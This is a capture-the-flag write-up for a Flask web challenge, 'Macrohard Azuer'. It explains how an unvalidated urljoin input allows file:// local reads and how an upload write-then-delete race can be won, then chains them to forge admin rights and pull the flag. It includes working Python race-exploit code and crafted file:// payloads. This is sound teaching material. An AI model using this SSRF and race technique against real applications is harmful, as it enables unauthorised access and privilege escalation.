MACRO-HARD

web

Challenge

"Macrohard Azuer" — a parody org-console web app (Flask) with member management, a file import/export backup feature, and an "Access control & export" panel that's supposed to only let admins pull a flag. The handout ships full source: app.py, an accounts.py stub standing in for an internal-only accounts API, and a docker-compose.yml describing the network topology.

Reading the topology

The compose file puts the app on an internal: true backend network alongside a dumb accounts stub that always answers the same thing, no matter what path you hit:

RESPONSE = json.dumps({
    "role": "member",
    "export_enabled": False,
    ...
}).encode()

So the "honest" flow can never elevate — the accounts service is deliberately unbribable, and there's no route to the open internet from the app container either. Whatever the bug is, it has to live entirely in app.py's own logic.

Bug #1 — unvalidated URL fed into urljoin

The console flow works like this:

@app.post("/console/select")
def console_select():
    session["account"] = request.form.get("account", "")
    return jsonify(account=session["account"])

@app.get("/console/permissions")
def console_permissions():
    account = session.get("account")
    base = urljoin(API_BASE, account)
    permissions = fetch(base, "permissions")
    session["elevated"] = permissions.get("role") == "admin"
    ...

account is entirely attacker-controlled and gets passed straight into urljoin(API_BASE, account). Python's urljoin lets an absolute URL in the second argument completely override the base — scheme included:

>>> from urllib.parse import urljoin
>>> urljoin("http://accounts.internal/api/", "file:///tmp/users/x/")
'file:///tmp/users/x/'

fetch() just calls urlopen() on the result, and urlopen happily opens file:// URLs. So account becomes an arbitrary local-file read wearing an SSRF costume — and it needs zero network egress, which is exactly why the isolated-network protection doesn't help here.

Bug #2 — a write-then-delete race in /upload

/upload lets anyone stage attacker-controlled JSON at a predictable path, /tmp/users/<account>/<filename> (both fields regex-constrained to [A-Za-z0-9_-], but otherwise free):

dest_dir = os.path.join(STAGING_ROOT, account)
os.makedirs(dest_dir, exist_ok=True)
path = os.path.join(dest_dir, name)
with open(path, "wb") as f:
    f.write(raw)
...
for _, path in staged:
    os.remove(path)   # <- always runs, success or failure

The file only exists for the lifetime of that single /upload request — it's deleted again before the response comes back. Combined with bug #1, that turns into a straightforward TOCTOU: hammer /upload with a padded file to widen the write→delete window, while a second stream of requests repeatedly points account at that exact staged path via file://, racing to read it before it's removed. The app runs single-process/multi-threaded (Flask threaded=True), so genuinely concurrent requests are possible.

Chaining it: two independent races

session["account"] can be changed between the /console/permissions and /console/export checks, so each half doesn't need to be satisfied by the same URL — they can be solved as two separate races:

account = file:///tmp/users/acct1/, upload a file named permissions under account acct1 → forges {"role": "admin"}
account = file:///tmp/users/, upload a file named settings under account user → urljoin("file:///tmp/users/", "user/settings") resolves to file:///tmp/users/user/settings, forging {"export_enabled": true}

Both were verified against the real request-resolution logic before racing anything:

>>> urljoin("file:///tmp/users/", "user/settings")
'file:///tmp/users/user/settings'

Exploit

One thread pool floods /upload with a padded JSON body (widens the race window), while another repeatedly hits the permissions/export check with the crafted file:// account, stopping as soon as one lands:

def race_for(session, select_account, upload_account, filename, payload, resource_check):
    stop = threading.Event()
    won = {"value": None}

    def uploader():
        sess = requests.Session()
        while not stop.is_set():
            files = {"files": (filename, io.BytesIO(payload), "application/json")}
            try:
                sess.post(f"{BASE}/upload", files=files, timeout=10)
            except requests.RequestException:
                pass

    def reader(shared):
        while not stop.is_set():
            try:
                r = shared.get(resource_check, timeout=10)
            except requests.RequestException:
                continue
            try:
                d = r.json()
            except ValueError:
                continue
            if d.get("elevated") is True or d.get("flag"):
                won["value"] = d
                stop.set()
                return

    shared = requests.Session()
    shared.cookies.update(session.cookies)
    shared.post(f"{BASE}/console/select", data={"account": select_account}, timeout=10)

    with concurrent.futures.ThreadPoolExecutor(max_workers=UPLOADERS + READERS) as ex:
        futs = [ex.submit(uploader) for _ in range(UPLOADERS)]
        futs += [ex.submit(reader, shared) for _ in range(READERS)]
        done, _ = concurrent.futures.wait(futs, timeout=STAGE_TIMEOUT)
        stop.set()

    session.cookies.update(shared.cookies)
    return won["value"]

Run first against the permissions race, then — carrying the same session cookie forward — against the export race:

[*] Forging role=admin via file:// read of staged 'permissions' file...
[+] Elevated: {'elevated': True, 'role': 'admin'}
[*] Forging export_enabled=true via file:// read of staged 'user/settings'...
[+] Result: {'flag': '...'}

One subtlety that cost some time debugging locally: the session cookie has to be re-synced from the winning request specifically, after the permissions check actually sets elevated server-side — syncing it right after the initial /console/select call (before the race even starts) silently carries a stale, non-elevated cookie into the second stage.